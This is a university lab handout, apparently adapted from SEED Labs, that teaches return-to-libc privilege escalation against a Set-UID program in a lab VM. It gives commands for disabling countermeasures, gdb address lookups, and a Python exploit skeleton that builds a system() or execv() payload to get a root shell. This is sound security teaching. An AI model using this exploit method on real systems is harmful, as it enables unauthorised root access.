Return-to-libc Attack Lab

Table of Contents:

Overview

The learning objective of this lab is for students to gain first-hand experience on an interesting variant of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode stored in the stack. To prevent these types of attacks, some operating systems allow programs to make their stacks non-executable; therefore, jumping to the shellcode causes the program to fail.

Unfortunately, the above protection scheme is not fool-proof. There exists a variant of buffer-overflow attacks called Return-to-libc, which does not need an executable stack; it does not even use shellcode. Instead, it causes the vulnerable program to jump to some existing code, such as the `system()` function in the libc library, which is already loaded into a process's memory space.

In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a Return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through some protection schemes implemented in Ubuntu to counter buffer-overflow attacks. This lab covers the following topics:

- Buffer overflow vulnerability
- Stack layout in a function invocation and Non-executable stack
- Return-to-libc attack and Return-Oriented Programming (ROP)

Environment Setup

This lab has been tested within the seed labs 20.04 VM. You are to download the Labsetup.zip file within this VM and perform the tasks here.The Labsetup.zip file can be found at https://seedsecuritylabs.org/Labs_20.04/Software/Return_to_Libc/ and has also been shared along with this document on microsoft teams.

For those using the website, the tasks and steps remain the same. The container will already have the Labsetup folder required for this lab. This lab will require ssh to access the machine and can be done using the command:

$ ssh seed@labs.risc-gen.tech -p [PORT NUMBER]

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks.

Disable address space randomization using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

Configuring /bin/sh. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM.

Use the following command to link /bin/sh to /bin/zsh:

$ sudo ln -sf /bin/zsh /bin/sh

Compilation. Let us first compile the code and turn it into a root-owned `Set-UID` program. Do not forget to include the "`-fno-stack-protector`" option and the "`-z noexecstack`" option. It should also be noted that changing ownership must be done before turning on the `Set-UID` bit, because ownership changes cause the `Set-UID` bit to

be turned off. All these commands are included in the provided `Makefile`. Since all the commands are provided within the Makefile we run the command:

$ make

Task 1: Finding out the Addresses of libc Functions

In `Linux`, when a program runs, the `libc` library will be loaded into memory. When the memory address randomization is turned off, for the same program, the library is always loaded in the same memory address (for different programs, the memory addresses of the libc library may be different). Therefore, we can easily find out the address of `system()` using a debugging tool such as `gdb`. Namely, we can debug the target program retlib.

Even though the program is a root-owned Set-UID program, we can still debug it, except that the privilege will be dropped (i.e., the effective user ID will be the same as the real user ID). Inside `gdb`, we need to type the run command to execute the target program once, otherwise, the library code will not be loaded.

$ touch badfile
$ gdb -q retlib
gdb-peda$ b main
gdb-peda$ run
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit

It should be noted that even for the same program, if we change it from a `Set-UID` program to a non-Set-UID program, the `libc` library may not be loaded into the same location. Therefore, when we debug the program, we need to debug the target `Set-UID` program; otherwise, the address we get may be incorrect.

Task 2: Putting the shell string in the memory

Our attack strategy is to jump to the `system()` function and get it to execute an arbitrary command. Since we would like to get a shell prompt, we want the `system()` function to execute the "`/bin/sh`" program. Therefore, the command string "`/bin/sh`" must be put in the memory first and we have to know its address (this address needs to be passed to the `system()` function). There are many ways to achieve these goals; we choose a method that uses environment variables. Students are encouraged to use other approaches.

When we execute a program from a shell prompt, the shell actually spawns a child process to execute the program, and all the exported shell variables become the environment variables of the child process. This creates an easy way for us to put some arbitrary string in the child process's memory. Let us define a new shell variable `MYSHELL`, and let it contain the string "`/bin/sh`". From the following commands, we can verify that the string gets into the child process, and it is printed out by the `env` command running inside the child process.

$ export MYSHELL=/bin/sh
$ env | grep MYSHELL

We will use the address of this variable as an argument to `system()` call. The location of this variable in the memory can be found out easily using the following program.

`envadr.c`

```
#include <stdio.h>
#include<stdlib.h>
void main(){
      char* shell = getenv("MYSHELL");
      if (shell)
            printf("bin/sh address: %x\n", (unsigned int)shell);
}
```

Compile the code above into a binary called `envadr`. If the address randomization is turned off, you will find out that the same address is printed out. **The length of the program name does make a difference. That's why we choose 6 characters for the program name prtenv to match the length of retlib executable.**

$ gcc -m32 -o envadr envadr.c
$ ./envadr

Task 3: Launching the Attack

We are ready to create the content of `badfile`. Since the content involves some binary data (e.g., the address of the libc functions), we can use Python to do the construction. We provide a skeleton of the code in the `exploit.py` file, with the essential parts left for you to fill out.

You need to figure out the **three addresses** and the values for `X, Y, and Z`.
First we find the value of Y, where we will place the `system()` functions address. When we run the retlib executable we get two addresses that will look like the following:

1. **Address of buffer[] inside bof(): 0xFFFFFFFF**
2. **Frame Pointer value inside bof(): 0xFFFFFFFF**

Y = The difference between the two above address values + 4
Z = Y + 4
X = Z + 4

Regarding the address corresponding to X:
We get this value from executing the `envadr` binary.

Regarding the address corresponding to Y:
The address of the `system()` function is obtained from `gdb`.

Regarding the address corresponding to Z:
The address of the `exit()` function is obtained from `gdb`.

After filling the necessary values run the following commands to launch the attack:

$ chmod u+x exploit.py
$ ./exploit.py
$ ./retlib
 # whoami
 # exit

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.

Comment out the `line 17` which writes the address of the exit function to the payload and run the following commands:

```
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
```

$ rm badfile
$ touch badfile
$ ./exploit.py
$ ./retlib

Attack variation 2: Change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of the badfile). Will your attack succeed or not? If it does not succeed, explain why.

$ gcc -m32 -fno-stack-protector -z noexecstack -o newretlib retlib.c
$ sudo chown root newretlib
$ sudo chmod 4755 newretlib
$ ./newretlib

Task 4: Defeat Shell's countermeasure

The purpose of this task is to launch the return-to-libc attack after the shell's countermeasure is enabled. Before doing Tasks 1 to 3, we relinked `/bin/sh` to `/bin/zsh`, instead of to `/bin/dash` (the original setting). This is because some shell programs, such as `dash` and `bash`, have a countermeasure that automatically drops privileges when they are executed in a `Set-UID` process. In this task, we would like to defeat such a countermeasure, i.e., we would like to get a root shell even though the `/bin/sh` still points to `/bin/dash`. Let us first change the symbolic link back:

$ sudo ln -sf /bin/dash /bin/sh

Although dash and bash both drop the `Set-UID` privilege, they will not do that if they are invoked with the `-p` option. When we return to the system function, this function invokes `/bin/sh`, but it does not use the `-p` option. Therefore, the Set-UID privilege of the target program will be dropped. If there is a function that allows us to directly execute "`/bin/bash -p`", without going through the system function, we can still get the root privilege.
There are actually many libc functions that can do that, such as the `exec()` family of functions, including `execl()`, `execle()`, `execv()`, etc. Let's take a look at the `execv()` function.

```
int execv(const char *pathname, char *const argv[]);
```

This function takes two arguments, one is the address to the command, the second is the address to the argument array for the command. For example, if we want to invoke "`/bin/bash -p`" using `execv`, we need to set up the following

```
pathname = address of "/bin/bash"
argv[0]  = address of "/bin/bash"
argv[1]  = address of "-p"
argv[2]  = NULL (i.e., 4 bytes of zero).
```

From the previous tasks, we can easily get the address of the two involved strings. Therefore, if we can construct the `argv[]` array on the stack, get its address, we will have everything that we need to conduct the return-to-libc attack. We set the "`-p`" parameter and update the `MYSHELL` environment variable, which we will use as `arg[1] and arg[0]` for the `execv()` function:

$ export MYSHELL=/bin/bash
$ export PARAM=-p
$ env | grep MYSHELL
$ env | grep PARAM

Create a new file called `prtenv.c`, we will use this program to get the addresses of the two arguments required for this attack.

prtenv.c

```
#include<stdio.h>
#include<stdlib.h>
void main(){
  char* shell = (char *) getenv("MYSHELL");
  char* param = (char *) getenv("PARAM");
  if (shell&&param)
{
printf("bin/bash address: %x\n", (unsigned int)shell);
printf("-p address: %x\n", (unsigned int)param);
}
}
```

Compile and run the the above code using the following commands:

$ gcc -m32 -o prtenv prtenv.c
$ ./prtenv

This time, we will return to the `execv()` function. There is one catch here. The value of `argv[2]` must be zero (an integer zero, four bytes). If we put four zeros in our input, `strcpy()` will terminate at the first zero; whatever is after that will not be copied into the `bof()` function's buffer. This seems to be a problem, but keep in mind, everything in your input is already on the stack; they are in the `main()` function's buffer. It is not hard to get the address of this buffer.

To find the address of the `execv` function run the following commands:

$ gdb retlib
gdb-peda$ b main
gdb-peda$ run
gdb-peda$ p execv
gdb-peda$ quit

To simplify the task, we already let the vulnerable program print out that address for you. Just like in Task 3, you need to construct your input, so when the `bof()` function returns, it returns to `execv()`, which fetches from the stack the address of the "`/bin/bash`" string and the address of the `argv[]` array. You need to prepare everything on the stack, so when `execv()` gets executed, it can execute "`/bin/bash -p`" and give you the root shell. In your report, please explain why the constructed input works.

Replace the code inside the `exploit.py` file with the following code. **Instructions regarding the specific address values to be filled in are given below.**

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

Y = 28
execv_addr = 0xffffffff              # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xffffffff                    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

X = 36
sh_addr = 0xffffffff                      # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

A = 40
para_addr = 0xffffffff                  # The address input[] + 44  in main
content[A:A+4] = (para_addr).to_bytes(4,byteorder='little')

B = 44
content[B:B+4] = (sh_addr).to_bytes(4,byteorder='little')

C = 48                                    # The address of "-p"
para_addr = 0xffffffff
content[C:C+4] = (para_addr).to_bytes(4,byteorder='little')

D = 52                                    # 0x00000000 DO NOT MODIFY
para_addr = 0x00000000
content[D:D+4] = (para_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

The values for **X, Y and Z** will be the same as in the previous task. The values of **A, B, and C** must be changed according to the value of **X**.

A = X + 4
B = X + 8
C = X + 12

Regarding the address corresponding to X:
The address value of `/bin/bash` is returned by the `prtenv` binary.

Regarding the address corresponding to Y:
The address of the `execv()` function is obtained from `gdb`.

Regarding the address corresponding to Z:
The address value remains the same as before.

Regarding the address corresponding to A:
When we run the `retlib` executable, we also print out the address of the `input[]` variable that is present in `main`. We will be using that address here. In this case we add `44` to the address value displayed and fill it in for A's `para_addr` variable.

Regarding the address corresponding to C:
The address value of `-p` is returned by the `prtenv` binary.

Regarding the address corresponding to D:
No changes to be made, must remain as 0x00000000

After filling in the `exploit.py` file remove, recreate the badfile and re-run your exploit.py file to generate the new exploit code.

$ rm badfile
$ touch badfile
$ ./exploit

Run the attack and execute the retlib executable.

$ ./retlib
$ whoami
$ ls -l /bin/sh
$ exit

Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.